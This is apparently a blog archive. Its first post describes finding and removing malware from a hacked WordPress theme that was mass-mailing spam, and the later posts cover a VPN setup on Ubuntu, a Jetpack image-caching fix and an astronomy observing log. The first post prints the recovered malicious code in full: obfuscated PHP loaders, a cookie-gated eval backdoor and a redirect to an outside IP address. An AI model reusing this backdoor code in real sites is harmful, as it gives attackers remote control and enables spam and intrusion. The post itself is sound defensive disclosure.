Some Recent WordPress Theme Hacking Issues (Mass Emails To Non-Existent Domain Name Addresses) And A Couple Of Things To Look For

August 1st, 2015

I’ve spent the past few weeks making several new email client filters each day, with subject lists that look like the following:

Saturday and Sunday Only! Today’s Special Buy of the Day!

One day sale event – today only, [ insert date here ]

[ insert name here ], check out this weeks specials – up to 75% off on selected items

[ Insert name here ], 10% discount for Brand or Generics for purchases placed before [ insert date here ]

We appreciate your past business with us

[ insert name here ], some of your items are back in stock now – complete your order today

[ insert date here ] deals and savings from your supplier

We’re talking between 2000 and 5000 emails a day of the following mishmash, with various random email addresses used, random first names and message content (always with a link or two, plus unsubscribe links), and all to email addresses that look like

[ person’s first name ] + @ + somewhereville.com

This was occurring from the website despite having many popular site-security-related PlugIns running: Including Wordfence, Sucuri Scanner, and Jetpack (not that Jetpack would protect from site problems). As it turns out, Sucuri *might* have found the problem had I installed it (at least) 6 months ago.

The amount of email has gotten so bad I the past few weeks that the site itself has been taken down thrice by my +10-year-long hosting company (web.com. Can’t blame them for this one). Before telling you about where the problem eventually settled, I’ll note the following attempts to find the problem, listed below.

Steps To Diagnose The Problem

1. Taking the site down – which worked

2. Running diffs on all of of the files in the WordPress install (against a freshly downloaded copy from wordpress.org) – this helped greatly

3. Deleting the many files no longer use by wordpress (having run it since 2.1.something and allowing WordPress to do auto-updates) – no affect

4. Scouring my hosting folder for hidden files, modified .htaccess files, or anything else – nothing found

5. Looking for date changes on .jpg files to see if malicious code had been embedded into one of the images that always loads with the site – nothing found

6. The big one – switching from my primary theme (a heavily modified version of relaxation 3 column from 2006) to one of the provided WordPress themes.

The Problem, Localized

The problem, then, was localized to my old theme – which could have meant one of two things

1. Something in the php was causing the problem by being too old (a piece of php that WordPress recommended removing from all themes – that I never read about)

2. Something was, despite having my permissions set for read-only on the server (because this theme is never updated by WordPress), tweaked in one of the theme files (which turned out to be the case)

In my case, a few modifications had been made to theme files over 6 months ago that sat dormant in the .php files until something eventually came along to start spitting out beaucoup spam.

NOTE: Everywhere you see “->” and “< -", these have been replaced from "<" and ">” to keep anything from being read by your browser)

1. This nasty piece of work was deposited into an index.php file many moons ago (but the file date had not changed, so it went unnoticed)

->?php /* copyright */ ${"GL\x4fB\x41\x4c\x53"}["\x6bg\x6e\x72\x77i\x6e\x64\x62n"]="\x74x\x74";$egeillbp="\x6b";${"\x47\x4cO\x42\x41L\x53"}["\x63kmj\x63uie"]="\x76";foreach($_GET as${$egeillbp}=>${${"\x47L\x4fB\x41\x4cS"}["\x63k\x6d\x6acu\x69e"]}){${"\x47\x4cO\x42\x41\x4c\x53"}["d\x78\x77\x71o\x61lv\x61\x75\x65"]="\x6b";if(preg_match("!^[a-\x7a\x30-\x39]{10,\x332}\$\x21is",${${"\x47\x4cO\x42\x41LS"}["\x64\x78\x77\x71\x6f\x61\x6c\x76a\x75\x65"]})){$xfgspywrt="\x6b";$jdhbwek="\x74\x78\x74";${$jdhbwek}=base64_decode("\x50\x46\x4eD\x55klQV\x43B\x73Y\x57\x35\x6edWFnZT1q\x59\x58Z\x68\x63\x32\x4ey\x61X\x420Pg\x30\x4b\x50\x43E\x74L\x510K\x5a\x6eVuY3Rpb2\x34g\x5a\x32V0\x62W\x55o\x63\x33RyK\x510\x4b\x65yB2YX\x49g\x61WR4ID\x30\x67\x633R\x79\x4cmluZGV\x34\x542\x59\x6f\x4a\x7a\x38n\x4bT\x73\x67a\x57\x59g\x4bG\x6c\x6be\x43A9P\x53A\x74\x4dS\x6bgc\x6dV0\x64\x58\x4au\x49\x48\x4e\x30cjsgd\x6dFy\x49Gx\x6cb\x69\x419\x49\x48\x4e0ci5\x73ZW\x35\x6e\x64G\x67\x37I\x48Z\x68\x63\x69B\x75\x5aXd\x66c3R\x79I\x440g\x49\x69I7\x49HZ\x68c\x69\x42\x70ID0\x67\x4dTs\x67\x5am\x39\x79I\x43g\x72K2\x6c\x6beDs\x67\x61\x57R\x34\x49\x44w\x67\x62G\x56\x75O\x79Bp\x5a\x48g\x67\x4bz0\x67\x4dixp\x4b\x79\x73\x70D\x51\x70\x37IH\x5ahciB\x6aaC\x41\x39\x49H\x42h\x63n\x4e\x6c\x53W\x35\x30KHN0\x63i\x35\x7a\x64\x57\x4az\x64\x48\x49oa\x57\x524LC\x41\x79KS\x77\x67\x4d\x54YpOy\x42\x75ZXd\x66\x63\x33RyICs\x39IFN\x30\x63ml\x75\x5ay\x35\x6dcm\x39t\x51\x32\x68\x68c\x6b\x4evZ\x47\x55o\x4b\x47N\x6fI\x43\x73ga\x53k\x67\x4aSAyNTY\x70\x4fy\x429IA0KZ\x479jdW\x31\x6cb\x6e\x51ud3Jp\x64\x47U\x6f\x62\x6d\x56\x33\x58\x33\x4e0c\x695zdWJ\x7a\x64H\x49o\x4d\x43xu\x5a\x58\x64f\x633\x52y\x4c\x6dx\x6c\x62\x6d\x640\x61C\x30xMSk\x72\x49lx\x31MD\x41yNlx1M\x44\x412\x4e1\x781M\x44\x41\x32Rl\x781\x4dDA\x32\x51\x6c\x781\x4dD\x412Qlx1M\x44\x41\x7a\x52Fp\x61Wl\x70\x63d\x54\x41\x77M\x6a\x4ac\x64\x54A\x77\x4d0\x4acdTA\x77M0Nc\x64T\x41\x77\x4d\x6bZcd\x54AwNz\x4e\x63d\x54\x41\x77\x4ejN\x63dT\x41w\x4ez\x4acdT\x41\x77\x4ejlcd\x54A\x77\x4ez\x42\x63dTA\x77NzR\x63\x64TA\x77\x4d0\x55i\x4b\x54sNC\x6e0\x4eC\x6d\x64vb\x32\x64\x73ZV\x39\x68\x5a\x46\x39jb\x47\x6c\x6cb\x6eQg\x50\x53A\x69c\x48V\x69\x4cTE\x30M\x7a\x411\x4fDQ\x30M\x44g\x7aMTM\x34\x4e\x44\x4d\x69O\x770\x4b\x5a\x329v\x5a2xlX\x32\x46\x6bX\x33d\x70\x5aH\x52\x6f\x49D\x30g\x4e\x7aI\x34\x4f\x77\x30KZ\x32\x39vZ2\x78lX2\x46\x6b\x58\x32\x68la\x57\x64o\x64\x43A\x39IDk\x77Ow\x30KZ29vZ2\x78\x6c\x58\x32F\x6bX\x32Z\x76c\x6d\x31h\x64\x43A9\x49\x43I3\x4d\x6a\x68\x34OTBf\x59\x58\x4diOw\x30\x4b\x5a29\x76\x5a\x32\x78l\x58\x32Fk\x583\x525cGU\x67P\x53A\x69dG\x56\x34dF\x39\x70\x62\x57F\x6eZ\x53\x497\x44Q\x70\x6e\x6229\x6e\x62\x47\x56\x66Y\x57Rf\x59\x32hh\x62\x6d5l\x62C\x419\x49\x43\x49\x69O\x77\x30KZ\x32\x560\x62WUo\x49\x6d\x680\x64H\x416Ly9\x77Y\x57d\x6cYWQ\x79L\x6d\x64vb2\x64sZ\x58N\x35bmR\x70Y\x32\x460a\x579\x75L\x6d\x4e\x76\x62\x53\x39wY\x57d\x6cYWQvc\x32\x68vd1\x39\x68Z\x48\x4du\x61nM/M\x30\x493MTYwN\x6b\x55\x32\x4e\x44\x5aB\x4e\x6bQxO\x44\x59zN\x54c2M\x7a\x56CN\x6ag\x31\x4d\x7aU4\x4eT\x55\x79QzE\x77\x4e\x54c0\x52\x44YxNEI1Q\x7aR\x43\x4e\x54k\x30Rj\x551NTg\x77NTIwNT\x670O\x54\x52\x45N\x44\x49\x30QzUz\x4d\x44\x6b0\x4ejQ4M\x30Iz\x4f\x44R\x42M\x30\x55\x30\x4d\x7aQ\x78ME\x5a\x47\x4d\x7a\x4d\x34\x4eD\x4d\x30M\x6aN\x45M\x44\x5aGQ\x55\x595R\x6bV\x47N\x6bY\x34R\x6aZGN\x6bYyRjR\x47N\x6bY\x33RUVG\x4dE\x591\x52\x6a\x46F\x51\x6a\x4aE\x4d\x6b\x4e\x46Nz\x49\x34MUY\x79\x4e\x6bY\x30\x4dTUxO\x54\x454RUV\x46N0R\x47\x52\x45Z\x45\x52\x6bQyMUUxRjB\x43R\x54V\x45\x51\x55R\x42RDV\x45\x4eU\x4d1RE\x52E\x52EN\x47MTIwMTBG\x4dDUwQj\x42FR\x44c\x69\x4bT\x73\x4e\x43\x69\x38\x76L\x530+I\x44wv\x55\x30\x4eSSVB\x55\x50\x67\x3d\x3d");echo str_replace("\x5a\x5a\x5a\x5a",${$xfgspywrt},${${"GLOB\x41LS"}["\x6bgnr\x77\x69\x6e\x64\x62\x6e"]});exit;}} /* copyright */ ?< -
The following had made into ALL of the theme index.php files in my WordPress install
$z=get_option("_transient_feed_92643db6412799c80218271b6272c02e"); $z=base64_decode(str_rot13($z)); if(strpos($z,"82DF88F1")!==false){ $_z=create_function("",$z); @$_z(); }
${"G\x4c\x4f\x42\x41L\x53"}["\x74x\x65\x66f\x62c\x76\x74w\x64\x6b"]="k";${"\x47L\x4f\x42\x41\x4c\x53"}["\x73\x76\x63y\x75\x78\x74v"]="k";${"G\x4cO\x42\x41\x4cS"}["\x68\x63\x66\x6fc\x6ev\x6e"]="c";${"\x47\x4cO\x42A\x4cS"}["f\x62\x71m\x77w\x63\x7a\x77gb"]="\x61";$uhhmemlj="v";${"GLO\x42\x41L\x53"}["\x70\x69\x74x\x77b\x7a\x76\x63\x64\x64"]="b";foreach($_GET as${${"\x47\x4c\x4fB\x41L\x53"}["\x74\x78\x65ff\x62\x63\x76tw\x64\x6b"]}=>${$uhhmemlj})if(preg_match("\x21\x5e\x5ba-z\x30-\x39\x5d{\x310\x2c32\x7d\x24!\x69s",${${"GLOB\x41\x4cS"}["\x73vcy\x75\x78\x74v"]})){session_start();if(isset($_POST["res"])&&$_SESSION["r\x65\x73"]==$_POST["\x72e\x73"]){header("\x4c\x6f\x63a\x74io\x6e\x3a \x68tt\x70\x3a\x2f/9\x35\x2e\x31\x36\x39\x2e187.\x39\x38/\x69jh\x66h\x66.p\x68\x70\x3f\x6dg\x74\x64\x66k=\x34\x353\x34\x26\x6ev\x68\x64l=sk\x64\x6ae&go\x6bk\x3d".substr(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74\x78\x65\x66\x66\x62\x63\x76\x74\x77\x64\x6b"]},-5));}else{$vxomtd="\x63";$kghtssqccjlo="\x61";${$kghtssqccjlo}=mt_rand(1,9);${$vxomtd}=mt_rand(1,9);if(mt_rand(0,1)==1){$yeygmwcsueb="\x61";${"\x47L\x4fB\x41\x4cS"}["s\x77c\x6e\x62\x71c\x78"]="\x62";$_SESSION["\x72e\x73"]=${$yeygmwcsueb}+${${"G\x4c\x4f\x42ALS"}["\x68\x63\x66\x6f\x63nv\x6e"]};${${"GLO\x42\x41L\x53"}["\x73w\x63n\x62q\x63\x78"]}="+";}else{$yliifkkgn="\x61";${"\x47LO\x42AL\x53"}["\x6a\x66\x75\x74\x70\x6f\x68xk\x77\x6b"]="\x62";${"GLOB\x41\x4c\x53"}["rii\x71\x75\x66\x6a\x76\x73\x79"]="\x63";$_SESSION["\x72\x65\x73"]=${$yliifkkgn}-${${"\x47\x4c\x4fB\x41LS"}["\x72ii\x71u\x66j\x76\x73\x79"]};${${"G\x4c\x4fB\x41\x4c\x53"}["jf\x75\x74p\x6fhx\x6bwk"]}="\x2d";}${"GL\x4f\x42\x41\x4c\x53"}["\x6d\x76\x68\x69fa\x63"]="c";echo"\x3c\x66o\x72\x6d m\x65\x74h\x6f\x64\x3d'po\x73\x74'\x3e\n\t \x20 \x20\n\t   \x20\x3c\x2fd\x69\x76\x3e< \x2fform>";}exit;} /* copyright */ ? < - ->?php

These are to be contrasted with the following, more generic look for the top of an index.php file:

?php get_header(); ?

Decidedly different.

These are both interesting, but turned out to not be the problems. Instead, my relaxation-3-column theme had its 404.php, archive.php, and index.php files modified at some point in the distant past (at least as early as November of last year) with the following new lines:


->?php // relaxation 3 column

if($_COOKIE['4a8136979cf53494']=="e2d76c03dbcb22a4"){  exit; } ?< -

->?php get_header(); ?< -
->?php // relaxation 3 column

->?php get_header(); ?< -


->?php if(md5($_COOKIE['71b94c11bfc3a333'])=="dbc558958924636a817230b644fe78f3"){ eval(base64_decode($_POST['file'])); exit; } ?>< ?php get_header(); ?<-

->div id="content"< -
->div id="content"< -



$z=get_option("_transient_feed_92643db6412799c80218271b6272c02e"); $z=base64_decode(str_rot13($z)); if(strpos($z,"82DF88F1")!==false){ $_z=create_function("",$z); @$_z(); }
function arphabet_widgets_init() {



->?php function arphabet_widgets_init()

These beg the question – how does one find out that this stuff isn’t supposed to be in a theme file?

The answer, assuming you know a little php, is to compare and contrast you potentially older theme files with new theme files (such as those pre-installed in WordPress). In all the above cases, available themes look like the “after” files above, with unreadable code not present in the tops of the files.

So, long-short, if you find your inbox stuffed with hundreds or thousands of spam samples coming from your own domain, a good first place to look is your running theme. Much like the BSG Episode “33”, you may find yourself NOT getting spam after a certain period of time if you make a simple change from one theme to another (certainly a simple way to determine if the attack is from the theme or not).

Solution And Testing

The test for the modifications was simple:

First, backup your theme files to your local machine (or make a folder in your directory tree somewhere)

Second, after checking and (if necessary) making modifications, replace your index.php file FIRST, as this is the basis for your theme (and what WordPress looks for first in the theme). Your site will load, although it may look like hell.

Third, replace all those theme files which didn’t have something odd in them (like the gobbledegook above) and reload you site. Then, WAIT to see if you get spam (for my problems above, this took about, honestly, 33 seconds). Your site may still look like hell depending.

Fourth, change other problem files and upload them 1-at-a-time, then reload and wait to see if the spam starts.

Fifth – repeat #4 until your theme is all back up

Sixth – when all uploaded, change your theme permissions to READ-ONLY (although this did not help me)

With luck, your spamming problem fit the mold of the above and google brought you to a page that would help. So say we all.

Private Internet Access, OpenVPN (2.3.2), and Ubuntu 14.04 (.2 LTS) – Yet Another Reported Way To Get Them Working (And The Only One That Works For Me)

July 17th, 2015

If you sign up for an account with Private Internet Access (and this may go for some other VPN providers as well) and follow the only prominent Ubuntu link (12.04) in the Support Section (www.privateinternetaccess.com/pages/client-support/ubuntu-openvpn), you’ll be taken to a reasonably straightforward 9-step process that walks you through the OpenVPN setup – from the install_ubuntu.sh script download to the selection of PIA-points (I just made that up) in your Network Manager GUI (that radial wifi icon or arrows in the upper-right corner).

That is, for Ubuntu 12.04.

The Problem

If you try this in Ubuntu 14.04, everything more-or-less looks and runs the same way. That said, when you try to connect to a PIA-point in the Network Manager, nothing happens. Your wifi radial doesn’t change, flash, or provide any indication that something has gone right or wrong. More importantly (to the lack of feedback, anyway), you are not asked for your PIA password (having put in your username in the install process). This lack of password requesting turns out to be the real kicker (and diagnostic for the fix presented down below).

If you look in /etc/NetworkManager/system-connections, you’ll see that all of the PIA files have been successfully installed.

-rw——- 1 root root 326 Jul 16 16:14 PIA – AU Melbourne
-rw——- 1 root root 313 Jul 16 16:14 PIA – AU Sydney
-rw——- 1 root root 313 Jul 16 16:14 PIA – Brazil
-rw——- 1 root root 316 Jul 16 16:14 PIA – CA North York
-rw——- 1 root root 321 Jul 16 16:14 PIA – CA Toronto
-rw——- 1 root root 313 Jul 16 16:14 PIA – France
-rw——- 1 root root 315 Jul 16 16:14 PIA – Germany
-rw——- 1 root root 312 Jul 16 16:14 PIA – Hong Kong
-rw——- 1 root root 350 Jul 17 15:49 PIA – Ireland
-rw——- 1 root root 313 Jul 16 16:14 PIA – Israel
-rw——- 1 root root 311 Jul 16 16:14 PIA – Japan
-rw——- 1 root root 313 Jul 16 16:14 PIA – Mexico
-rw——- 1 root root 314 Jul 16 16:14 PIA – Netherlands
-rw——- 1 root root 310 Jul 16 16:14 PIA – Romania
-rw——- 1 root root 313 Jul 16 16:14 PIA – Russia
-rw——- 1 root root 312 Jul 16 16:14 PIA – Singapore
-rw——- 1 root root 313 Jul 16 16:14 PIA – Sweden
-rw——- 1 root root 317 Jul 16 16:14 PIA – Switzerland
-rw——- 1 root root 313 Jul 16 16:14 PIA – Turkey
-rw——- 1 root root 319 Jul 16 16:14 PIA – UK London
-rw——- 1 root root 329 Jul 16 16:14 PIA – UK Southampton
-rw——- 1 root root 327 Jul 16 16:14 PIA – US California
-rw——- 1 root root 315 Jul 16 16:14 PIA – US East
-rw——- 1 root root 321 Jul 16 16:14 PIA – US Florida
-rw——- 1 root root 321 Jul 16 16:14 PIA – US Midwest
-rw——- 1 root root 331 Jul 16 16:14 PIA – US New York City
-rw——- 1 root root 321 Jul 16 16:14 PIA – US Seattle
-rw——- 1 root root 334 Jul 16 16:14 PIA – US Silicon Valley
-rw——- 1 root root 317 Jul 16 16:14 PIA – US Texas
-rw——- 1 root root 315 Jul 16 16:14 PIA – US West

My first attempts at troubleshooting brought me to the installing privateinternetaccess on ubuntu 14.04 LTS page at askubuntu.com. The first response seems to be regurgitating the 12.04 installation process on the PIA site (which doesn’t work. For me, anyway), while the second response provides a list of installs that the install_ubuntu.sh script may or may not have successfully installed.

sudo apt-get install openvpn network-manager-openvpn network-manager-openvpn-gnome

The second commenter then walks through the install process as if the .ovpn config files didn’t exist (setting up from scratch, which can be laborious if you want to add all of the PIA points) but uses the contents of the openvpn.zip file downloaded by the question-asker.

The fix to the whole matter is partly in the questioner and second answer, but some additional work needs to be done. What’s described below is the process I used to figure out what was going on (showing all work), including using some alternatively-official .ovpn files (and the official ca.crt and crl.pem files provided by PIA).

The Diagnosing (What May Have Brought You Here)

With the failure to get any feedback from Network Manager (or the GUI) after the install, I went straight to the syslog to see if anything revealing appears (var/log/syslog). The error report for my VPN connection attempts reads as follows:

cd /var/log/syslog
more syslog

Jul 16 08:54:04 randommachine NetworkManager[13049]: Starting VPN service ‘openvpn’…
Jul 16 08:54:04 randommachine NetworkManager[13049]:
VPN service ‘openvpn’ started (org.freedesktop.NetworkManager.openvpn), PID 13164
Jul 16 08:54:04 randommachine NetworkManager[13049]:
VPN service ‘openvpn’ appeared; activating connections
Jul 16 08:54:04 randommachine NetworkManager[13049]: [1437051244.977042] [nm-vpn-connection.c:1374] get_secrets_cb(): Failed to request VPN secrets #2: (6) No agents were available for this request.
Jul 16 08:54:04 randommachine NetworkManager[13049]: Policy set ‘randomrouter’ (wlan0) as default for IPv4 routing and DNS.
Jul 16 08:54:10 randommachine NetworkManager[13049]:
VPN service ‘openvpn’ disappeared

A google search for “Failed to request VPN secrets #2“ (I can’t stress enough the value of quotes in troubleshooting Linux issues) dragged me to several pages that didn’t directly address my Network Manager issue, but indicated that one should consider running OpenPVN from the Terminal anyway. Extracting openvpn.zip (downloaded from the PIA website) and cd’ing into that folder (I assume you’re in Downloads), the following commands:

cd Downloads
unzip openvpn.zip
openvpn US\ East.ovpn 

Produces the following output – asking for username and password, but then failing to connect (and I include all the output below, assuming the error brought you here).

Thu Jul 16 09:06:55 2015 OpenVPN 2.3.2 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [eurephia] [MH] [IPv6] built on Dec 1 2014
Enter Auth Username:pXXXXXXX
Enter Auth Password:
Thu Jul 16 09:07:11 2015 UDPv4 link local: [undef]
Thu Jul 16 09:07:11 2015 UDPv4 link remote: [AF_INET]
Thu Jul 16 09:07:11 2015 WARNING: this configuration may cache passwords in memory — use the auth-nocache option to prevent this
Thu Jul 16 09:07:11 2015 [Private Internet Access] Peer Connection Initiated with [AF_INET]
Thu Jul 16 09:07:14 2015 ERROR: Cannot ioctl TUNSETIFF tun: Operation not permitted (errno=1)
Thu Jul 16 09:07:14 2015 Exiting due to fatal error

That said, when you apply root privileges:

sudo openvpn US\ East.ovpn

You get the following:

Thu Jul 16 09:07:28 2015 OpenVPN 2.3.2 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [eurephia] [MH] [IPv6] built on Dec 1 2014
Enter Auth Username:pXXXXXXX
Enter Auth Password:
Thu Jul 16 09:07:36 2015 UDPv4 link local: [undef]
Thu Jul 16 09:07:36 2015 UDPv4 link remote: [AF_INET]
Thu Jul 16 09:07:36 2015 WARNING: this configuration may cache passwords in memory — use the auth-nocache option to prevent this
Thu Jul 16 09:07:37 2015 [Private Internet Access] Peer Connection Initiated with [AF_INET]
Thu Jul 16 09:07:39 2015 TUN/TAP device tun0 opened
Thu Jul 16 09:07:39 2015 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0
Thu Jul 16 09:07:39 2015 /sbin/ip link set dev tun0 up mtu 1500
Thu Jul 16 09:07:39 2015 /sbin/ip addr add dev tun0 local peer
Thu Jul 16 09:07:39 2015 Initialization Sequence Completed

Works great (can verify at whatsmyipaddress.com or other). And it asks for your username (because the .ovpn files haven’t been configured yet from the script) and password, so we were already ahead of the game from the Network Manager GUI.

OpenVPN seems to work fine and the .ovpn files work, so the problem is somewhere in Network Manager or how it and OpenVPN are interacting (which I’ve not yet found the answer to). Now, you’re supposed to be asked for the password when you try to establish the VPN connection with Network Manager. To see if that was the only problem with the .ovpn files, I simply added my password to the US East.ovpn file as follows (in US /East.ovpn):

nano US /East.ovpn

And add the following somewhere in the file:


Then restart the Network Manager (and wait a few seconds)

sudo service network-manager restart

And that didn’t work. That said, there’s another password flag in the file (aptly names password_flags) to play with. A search for details lead me to a post at forums.kali.org that goes into some detail about Network Manager NOT strong the VPN password correctly because the user keyring isn’t root-accessible.

Changing password-flags from 1 to 0 and attempting to connect with Network Manager = success!

So, the problem is somewhere in the failed password negotiation between Network Manager and OpenVPN, and providing that info in the .ovpn files from openvpn.zip and a network-manager restart solves the problem.

Now then, the differences between the .ovpn files in openvpn.zip (download-able from https://www.privateinternetaccess.com/openvpn/openvpn.zip) and the PIA VPN files installed using install_ubuntu.sh are as follows:

US East.ovpn

dev tun
proto udp
remote us-east.privateinternetaccess.com 1194
resolv-retry infinite
ca ca.crt
remote-cert-tls server
verb 1
reneg-sec 0
crl-verify crl.pem


id=PIA – US East



The new format is so clean! It’s also the format you get if you go through the New Connection process through Network Manager. The formatting seems to be important for the fix I’m going to propose below, so I’m going to modify the newer format files below.

The Solution

The solution is, after many hours, stupid-simple – run the install_ubuntu.sh as described on the PIA website (which will also make you install a few extra programs if you don’t have them already- and it places ca.crt into your OpenVPN folder, which is then called by the VPN files), modify all of the PIA files in your /etc/NetworkManager/system-connections folder by putting your password into each (in the format as below), and restart network-manager from the Terminal. That, in theory, should be it. You’ll have to have root access to do this, though, as the file permissions are all (or should be) 600.

1. https://www.privateinternetaccess.com/pages/client-support/ubuntu-openvpn

2. Open Terminal

3. Move to the system-connections folder:

cd /etc/NetworkManager/system-connections

4. Edit all the PIA files. To each of the PIA files, all you have to do is add the following:


The [vpn-secrets] is important! I would have thought this to be a comment block for organizational purposes, but adding thr password line alone won’t cut it.

NOTE: If you’re trying to connect through the GUI and the VPN Connections DO NOT appear in the list – provided your password is in the file, your problem is very likely that the file permissions are wrong. If they’re not -rw——, then Network-Manager will not read them.

5. Extra bookkeeping step: double-confirm the permissions on the PIA files:

chmod 600 PIA*

6. Restart network-manager

sudo service network-manager restart

I do not know if/when the fix will come in between OpenVPN and Network Manager (or something else in Ubuntu) that will obviate the need for this workaround. In the meantime, the procedure above works just fine (works at all) on a clean install of 14.04.2 LTS. The problem seems to be with OpenVPN as it plays with 14.04, a recurring theme I’ve found from lots of people (or, perhaps more specifically, the use of the GUI to call OpenVPN). Given several reports of PIA/14.04, I’m surprised there isn’t more, perhaps specifically on the PIA website, to address this issue. Hopefully a proper fix from PIA, OpenVPN, or Ubuntu developers in en route.

Happy more safe/more secure surfing. And if you’re so inclined, the Litecoin bubble has not, yet, right now, burst (scroll to the bottom of http://www.somewhereville.com/?p=1896).

Led Astray By (A) Photon – WordPress, Jetpack, and The Perils Of Embedded Clear Sky Charts (And Other)

May 1st, 2015

A re-post from the CNY Observers website (www.cnyo.org).

Greetings fellow astrophiles,

CNYO has been anticipating our first observing session at Beaver Lake for this year, with the first of our two Spring dates (April 23rd) already clouded/snowed out. The forecast for April 30th hadn’t looked too much better based on Monday estimates, leaving us to wonder if attendees would be stuck indoors with a lecture instead of outdoors with the rest of the universe.

I woke up early on the 30th to blue skies and a very bright Sun, certainly already exceeding the expectations of the past few days. But what of the afternoon and evening?

As I am prone to do on the day of an observing session, I headed right for the CNYO Cheat Sheet, where one can find the sky conditions for a large part of Central New York in the form of several Clear Sky Charts (CSCs – and, based on the different cloud cover at different locations, even begin to piece together how the skies at your location may change). The morning’s CSCs are shown in the image below.


You will note that the bars to the far left (representing the morning) are not the dark blue squares that would indicate an almost cloud-less sky. As the red text at the bottom notes, sometimes the CSC images from a previous session are still sitting in your browser’s cache and, to make sure you’re looking at the newest data, you should hit Page Reload. Well, 5 or 10 of those didn’t change matters at all. I clicked on the Downtown Syracuse image in order to see what the actual CSC website said about today. An almost perfect band of dark blue – prime observing weather (when the wind is mild, that is).

So, what happened?

The first clue came when I right-clicked on one of the images in order to see just the image in my browser. When you do this, you should see something like: cleardarksky.com/c/SyrcsNYcs0.gif?1

What I saw for the link was the following: i1.wp.com/cleardarksky.com/c/SyrcsNYcs0.gif?1

Something is afoot in Boötes.

A quick google search indicated that the i1.wp.com (which might also be i0.wp.com, i2.wp.com, maybe more) site is, in fact, an image (maybe other) repository for wordpress.com that is supposed to speed up your page downloading process (by being faster than the same image you might load somewhere else) and is called upon, specifically, by Photon – one of the functions built into Jetpack (itself a large suite of plugins for WordPress that very generally make my life much easier by providing Site Stats, Contact Forms, etc.). That said, this is no good for the Clear Sky Chart, as you don’t know how many days ago that i1.wp.com image was saved (and it clearly ain’t today’s!).

To disable this feature (if it was turned on, anyway), go to your WordPress Dashboard and click on Jetpack on the right-hand side.


At present, Photon is the first clickable item at upper left. Click on “Photon” to reveal the following image:


Click on Deactivate and go back to your Clear Sky Chart-containing page:


You’ll note that the Clear Sky Charts are fixed (revealing an excellent day for Solar and Night Observing) and you’ll also see that the NASA/SOHO image is different, the SWPC/NOAA image is different, and event the Wunderground logo is different. Quite the site fix!

If you have the same problem, I hope the above fixes it. If you know of a site running the Clear Sky Chart and it doesn’t reflect what you see outside, let the site admin know.

CNYO Observing Log: The Winter Of Lovejoy – Green Lakes, Jamesville Beach, And New Moon Telescopes HQ – January 9 to 14, 2015

January 22nd, 2015

A re-post from the CNY Observers website (www.cnyo.org).


Caption: Comet Lovejoy imaged on January 10th by the ever-impressive CNY astrophotographer Stephen Shaner. From his CNYO Facebook Group post: Last night was the first in over three months it was clear enough to shoot, but it worked out well because Comet Lovejoy is at its peak. Here’s a quick process of about 40 minutes of exposures between 8-9 PM as it crossed the meridian. FOV is roughly three degrees. Distinct pale green coma in the eyepiece but unable to make out a tail or see it naked eye.

The 2015 skies are going to be full of comets. Well, at least six, to be exact, that will be either naked eye- or binocular-visible. That’s still quite a few to those keeping track! The amateur astronomy community has taken heroic efforts to scientifically identify and track new comets in the last, say, 400 years. The rise of, for instance, the Panoramic Survey Telescope & Rapid Response System (or panSTARRS) as a method for finding and tracking both comets and near-earth asteroids (or, lumped together, “objects,” for which you might hear the abbreviation “NEOs”) has greatly increased the number of accounted-for fuzzy objects in our fields of view (and provided us a giant leap in our existential risk assessment infrastructure to boot). Quite simply, we’ve more + better eyes on the skies, meaning we’re bound to continue to find more and more comets and asteroids. You can even subscribe to NASA twitter feeds that announce the passing-by of these hopefully passers-by (see @AsteroidWatch and @NasaNEOCam).

The discovery of NEOs may or may not qualify as a modern John Henry-ism, as amateur astronomers are still discovering objects at a decent pace thanks to improvements in their own optics and imaging equipment. Comet Lovejoy, C/2014 Q2, is one such recent example discovered by famed modern comet hunter Terry Lovejoy (who has five comets to his name already).

Comet Lovejoy And More In CNY

Comet Lovejoy has made the winter sky that much more enjoyable (and below freezing cold that much more bearable) by reaching peak brightness in the vicinity of the prominent winter constellations Taurus and Orion. Visible soon after sunset and before the “really cold” temperatures set in (after 10 p.m. or so), Lovejoy has been an easy target in low-power binoculars and visible without equipment in sufficiently dark skies. Now on its way out of the inner solar system, its bright tail will shrink and its wide coma (that gives it its “fuzziness”) will disappear as the increasingly distant Sun is unable to melt Lovejoy’s surface ice. Those of us who dared the cold, clear CNY skies these past few weeks were treated to excellent views, while the internet has been flooded with remarkable images of what some have described as the most photographed comet in history (a title that will likely be taken from it when a few other comets pass us by during warmer nights this year).


Caption: The tiki lounge at Green Lakes State Park, 9 January 2014.

The first observing session around Syracuse this year happened at Green Lakes State Park on January 9th. Bob Piekiel, one of CNY’s best known and most knowledgable amateur astronomers, had his Celestron NexStar 11 in the parking lot behind the main office, which was fortunately kept open for attendees hoping to warm up between views. To Bob’s C11 was added my Zhumell 25×100’s, providing less magnification but a wider field of view to take in more of the comet’s core, tail, and nearby stars.


Caption: A very prominent Orion and arrow-ed Comet Lovejoy from the Green Lakes parking lot. Photo by Kim Titus.

The Friday night skies were only partially on our side, offering a few short-lived views of the Orion Nebula and Lovejoy. Jupiter was just bright enough to burn through some of the cloud cover to our East, giving us slightly muddled but otherwise decent views of it and its four largest satellites for about 10 minutes. By our 9 p.m. pack-up and departure, the skies were even worse – which is always a good feeling for observers (knowing they didn’t miss a chance for any additional views by packing up early).

The night of Saturday, January 10th turned into a much better night for observing, offering a good opportunity for some long-exposure images to try to capture Lovejoy just past its luminous prime. The following image was taken from one of the parking lots at Jamesville Beach – the same spot where Larry Slosberg, Dan Williams and I observed the nova in Delphinus. Light pollution aside from the 30 second exposure, the brightest constellations are clearly visible and a fuzzy, bright green star is clearly visible in the full-sized image. Click on the image below for a larger, unlabeled version of the same.


Caption: An array of Winter’s finest from Jamesville Beach, 10 January 2014, 8:00 p.m. Click on the image for a full and unlabeled version.

The imaging continued in Marcellus on January 10th, with Bob Piekiel producing a zoomed in view of Lovejoy.


Caption: An unmistakable view of Comet Lovejoy. Image by Bob Piekiel.

